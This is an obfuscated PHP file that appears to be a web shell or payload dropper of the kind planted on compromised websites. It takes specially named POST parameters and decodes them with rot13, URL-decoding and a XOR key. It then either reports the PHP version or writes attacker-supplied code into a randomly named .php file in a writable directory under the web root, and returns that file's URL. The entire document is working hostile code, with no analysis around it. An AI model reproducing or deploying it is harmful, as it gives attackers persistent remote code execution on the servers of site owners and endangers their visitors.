<?php $nzelxztuoc = "ewdolrksypksijxy";$csykztu = "";foreach ($_POST as $xajllqgl => $gclaivs){if (strlen($xajllqgl) == 16 and substr_count($gclaivs, "%") > 10){ncoybazynk($xajllqgl, $gclaivs);}}function ncoybazynk($xajllqgl, $xaxiidu){global $csykztu;$csykztu = $xajllqgl;$xaxiidu = str_split(rawurldecode(str_rot13($xaxiidu)));function mqzvkt($ktbogas, $xajllqgl){global $nzelxztuoc, $csykztu;return $ktbogas ^ $nzelxztuoc[$xajllqgl % strlen($nzelxztuoc)] ^ $csykztu[$xajllqgl % strlen($csykztu)];}$xaxiidu = implode("", array_map("mqzvkt", array_values($xaxiidu), array_keys($xaxiidu)));$xaxiidu = @unserialize($xaxiidu);if (@is_array($xaxiidu)){$xajllqgl = array_keys($xaxiidu);$xaxiidu = $xaxiidu[$xajllqgl[0]];if ($xaxiidu === $xajllqgl[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function jmizjls($ixxkcqrir) {static $nxrrlxs = array();$aqwashmipz = glob($ixxkcqrir . '/*', GLOB_ONLYDIR);if (count($aqwashmipz) > 0) {foreach ($aqwashmipz as $ixxkcqr){if (@is_writable($ixxkcqr)){$nxrrlxs[] = $ixxkcqr;}}}foreach ($aqwashmipz as $ixxkcqrir) jmizjls($ixxkcqrir);return $nxrrlxs;}$miqkzqbr = $_SERVER["DOCUMENT_ROOT"];$aqwashmipz = jmizjls($miqkzqbr);$xajllqgl = array_rand($aqwashmipz);$srbmlmejm = $aqwashmipz[$xajllqgl] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($srbmlmejm, $xaxiidu);echo "http://" . $_SERVER["HTTP_HOST"] . substr($srbmlmejm, strlen($miqkzqbr));exit();}}}